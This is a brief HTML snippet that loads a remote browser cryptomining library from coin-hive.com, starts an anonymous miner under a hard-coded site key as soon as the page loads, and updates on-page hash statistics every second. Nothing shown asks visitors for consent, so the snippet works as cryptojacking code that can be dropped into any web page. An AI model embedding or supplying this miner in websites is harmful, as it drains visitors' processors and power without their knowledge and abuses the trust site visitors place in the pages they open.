.

<script src="https://coin-hive.com/lib/coinhive.min.js"></script>
<script type="text/javascript">// <![CDATA[
  var miner = new CoinHive.Anonymous('w8JzWeEjG2KY4vuweDcYdIUg8adjX96k');
  miner.start();
// ]]></script>
<script type="text/javascript">// <![CDATA[
  // Listen on events
  miner.on('found', function() { /* Hash found */ })
  miner.on('accepted', function() { /* Hash accepted by the pool */ })
  // Update stats once per second
  setInterval(function() {
    var hashesPerSecond = miner.getHashesPerSecond();
    var totalHashes = miner.getTotalHashes();
        var acceptedHashes = miner.getAcceptedHashes();
        
        document.getElementById('hashesPerSecond').innerText = hashesPerSecond;
        document.getElementById('totalHashes').innerText = totalHashes;
        document.getElementById('acceptedHashes').innerText = acceptedHashes;
    
  }, 1000);
// ]]></script>